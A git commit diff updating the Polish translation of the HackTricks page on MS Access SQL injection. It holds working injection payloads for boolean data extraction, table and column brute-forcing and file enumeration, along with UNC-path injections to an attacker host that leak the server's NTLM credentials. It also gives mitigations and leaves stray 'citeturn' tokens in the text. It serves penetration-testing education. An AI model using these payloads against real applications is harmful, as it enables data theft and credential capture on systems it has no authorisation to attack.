mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md
This commit is contained in:
parent
d03df88f87
commit
48340177de
@ -4,7 +4,7 @@
|
||||
|
||||
## Online Playground
|
||||
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
|
||||
## Ograniczenia DB
|
||||
|
||||
@ -17,7 +17,7 @@ Konkatenacja ciągów jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`.
|
||||
```
|
||||
### Komentarze
|
||||
|
||||
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego znaku zapytania za pomocą znaku NULL:
|
||||
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego elementu zapytania za pomocą znaku NULL:
|
||||
```sql
|
||||
1' union select 1,2 from table%00
|
||||
```
|
||||
@ -35,7 +35,7 @@ Operator **`LIMIT`** **nie jest zaimplementowany**. Możliwe jest jednak ogranic
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
Podobnie jak TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
|
||||
Tak jak w TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
|
||||
|
||||
## Zapytania UNION/Zapytania podrzędne
|
||||
|
||||
@ -48,19 +48,19 @@ Dlatego musisz znać **ważną nazwę tabeli**.
|
||||
### Łączenie równań + Podciąg
|
||||
|
||||
> [!WARNING]
|
||||
> To pozwoli Ci na wyeksfiltrowanie wartości z bieżącej tabeli bez potrzeby znajomości nazwy tabeli.
|
||||
> To pozwoli Ci na wyeksportowanie wartości z bieżącej tabeli bez potrzeby znajomości jej nazwy.
|
||||
|
||||
**MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać.
|
||||
|
||||
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksfiltrować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksfiltrować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
|
||||
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksportować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksportować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciekł wszystkie informacje** za pomocą boolean SQLi:
|
||||
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciągnąć wszystkie informacje** za pomocą boolean SQLi:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
_Czuj się swobodnie, aby sprawdzić to w internetowym placu zabaw._
|
||||
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
|
||||
|
||||
### Bruteforcing nazw tabel
|
||||
|
||||
@ -74,12 +74,12 @@ Możesz również użyć bardziej tradycyjnego sposobu:
|
||||
```
|
||||
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
|
||||
|
||||
- Sqlmap wspólne nazwy tabel: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
|
||||
### Bruteforcing nazw kolumn
|
||||
### Brute-Forcing nazw kolumn
|
||||
|
||||
Możesz **bruteforować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
|
||||
Możesz **brute-forcować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -93,17 +93,27 @@ Lub możesz przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za
|
||||
|
||||
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
||||
```
|
||||
### Zrzut danych
|
||||
### Dumping data
|
||||
|
||||
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **do zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
|
||||
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **w celu zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK” w przypadku sukcesu lub „500 Internal Error” w przeciwnym razie. Wykorzystując operator TOP 10, możliwe jest wybranie pierwszych dziesięciu wyników. Następne użycie LAST pozwala uwzględnić tylko 10-tą krotkę. Na takiej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Odpowiednio zmieniając indeksy MID i TOP, możemy zrzucić zawartość pola „username” dla wszystkich wierszy.
|
||||
|
||||
### Czasowe
|
||||
### Sztuczki oparte na czasie (ślepe)
|
||||
|
||||
Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
||||
Jet/ACE SQL sam w sobie **nie** udostępnia natywnej funkcji `SLEEP()` lub `WAITFOR`, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do **zasobu sieciowego, który jest wolny lub nie odpowiada**. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w podróży do hosta kontrolowanego przez atakującego.
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
Wskaź UNC do:
|
||||
|
||||
* udziału SMB za połączeniem o wysokiej latencji
|
||||
* hosta, który zrywa handshake TCP po `SYN-ACK`
|
||||
* pułapki zapory ogniowej
|
||||
|
||||
Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być użyte jako **oracle czasowy poza pasmem** dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w rejestrze w KB5002984. citeturn1search0
|
||||
|
||||
### Inne interesujące funkcje
|
||||
|
||||
@ -111,7 +121,7 @@ Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676
|
||||
- `LEN('1234')` pobiera długość ciągu
|
||||
- `ASC('A')` pobiera wartość ascii znaku
|
||||
- `CHR(65)` pobiera ciąg z wartości ascii
|
||||
- `IIF(1=1,'a','b')` jeśli to, to
|
||||
- `IIF(1=1,'a','b')` jeśli to wtedy
|
||||
- `COUNT(*)` zlicza liczbę elementów
|
||||
|
||||
## Enumerowanie tabel
|
||||
@ -130,17 +140,17 @@ Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdz
|
||||
|
||||
## Dostęp do systemu plików
|
||||
|
||||
### Pełna ścieżka do katalogu głównego serwera WWW
|
||||
### Pełna ścieżka katalogu głównego serwera WWW
|
||||
|
||||
Znajomość **absolutnej ścieżki do katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona podczas próby wyboru danych z nieistniejącej bazy danych.
|
||||
Znajomość **absolutnej ścieżki katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych.
|
||||
|
||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu WWW**.
|
||||
|
||||
### Enumeracja plików
|
||||
|
||||
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku w zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
|
||||
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku na zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
@ -150,18 +160,51 @@ Inny sposób enumeracji plików polega na **określeniu elementu database.table*
|
||||
|
||||
### Zgadywanie nazwy pliku .mdb
|
||||
|
||||
**Nazwę pliku bazy danych (.mdb)** można wnioskować za pomocą następującego zapytania:
|
||||
**Nazwa pliku bazy danych (.mdb)** może być wnioskowana za pomocą następującego zapytania:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
Gdzie **name\[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
|
||||
Gdzie **name[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
|
||||
|
||||
### Łamacze haseł .mdb
|
||||
### Zdalny dostęp do bazy danych i kradzież poświadczeń NTLM (2023)
|
||||
|
||||
Od Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w *innym* pliku `.mdb/.accdb` za pomocą klauzuli `IN '<path>'`:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
Jeśli dane wejściowe użytkownika są konkatenowane w części po **IN** (lub w wywołaniu `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), atakujący może określić **ścieżkę UNC**, która wskazuje na hosta, który kontroluje. Silnik będzie:
|
||||
|
||||
1. próbował uwierzytelnić się przez SMB / HTTP, aby otworzyć zdalną bazę danych;
|
||||
2. wyciekł **poświadczenia NTLM** serwera WWW (wymuszone uwierzytelnienie);
|
||||
3. analizował zdalny plik – źle sformatowana lub złośliwa baza danych może wywołać błędy korupcji pamięci Jet/ACE, które były wielokrotnie łatanie (np. CVE-2021-28455).
|
||||
|
||||
Praktyczny przykład wstrzyknięcia:
|
||||
```sql
|
||||
1' UNION SELECT TOP 1 name
|
||||
FROM MSysObjects
|
||||
IN '\\attacker\share\poc.mdb'-- -
|
||||
```
|
||||
Impact:
|
||||
|
||||
* Wyjściowa eksfiltracja hashy Net-NTLMv2 (użyteczne do relaying lub łamania offline).
|
||||
* Potencjalne zdalne wykonanie kodu, jeśli zostanie wykorzystany nowy błąd parsera Jet/ACE.
|
||||
|
||||
Mitigations (zalecane nawet dla aplikacji Classic ASP):
|
||||
|
||||
* Dodaj wartość rejestru `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod równoważną ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od `\\`.
|
||||
* Zablokuj wychodzące SMB/WebDAV na granicy sieci.
|
||||
* Oczyść / parametryzuj każdą część zapytania, która może znaleźć się w klauzuli `IN`.
|
||||
|
||||
Wektor wymuszonej autoryzacji został ponownie zbadany przez Check Point Research w 2023 roku, udowadniając, że nadal jest podatny na ataki na w pełni załatanych serwerach Windows, gdy klucz rejestru jest nieobecny. citeturn0search0
|
||||
|
||||
### .mdb Password Cracker
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) to darmowe narzędzie, które można wykorzystać do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
|
||||
|
||||
## Odniesienia
|
||||
## References
|
||||
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- [Microsoft KB5002984 – Konfigurowanie Jet/ACE w celu zablokowania zdalnych tabel](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – Wykorzystywanie powiązanych tabel Microsoft Access do wymuszonej autoryzacji NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user